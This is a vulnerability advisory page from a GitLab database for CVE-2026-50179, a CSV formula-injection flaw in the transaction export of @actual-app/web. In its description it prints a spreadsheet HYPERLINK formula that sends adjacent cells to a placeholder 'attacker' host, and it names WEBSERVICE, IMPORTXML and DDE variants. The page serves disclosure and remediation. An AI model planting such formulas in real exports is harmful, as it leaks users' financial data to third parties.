Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. @actual-app/web
  4. ›
  5. CVE-2026-50179

CVE-2026-50179: @actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

June 22, 2026

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

References

  • github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm
  • github.com/advisories/GHSA-xqjm-27pc-rvwm
  • nvd.nist.gov/vuln/detail/CVE-2026-50179

Code Behaviors & Features

Detect and mitigate CVE-2026-50179 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 26.6.0

Fixed versions

  • 26.6.0

Solution

Upgrade to version 26.6.0 or above.

Impact 4.2 MEDIUM

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Learn more about CVSS

Weakness

  • CWE-1236: Improper Neutralization of Formula Elements in a CSV File

Source file

npm/@actual-app/web/CVE-2026-50179.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 23 Jun 2026 12:22:46 +0000.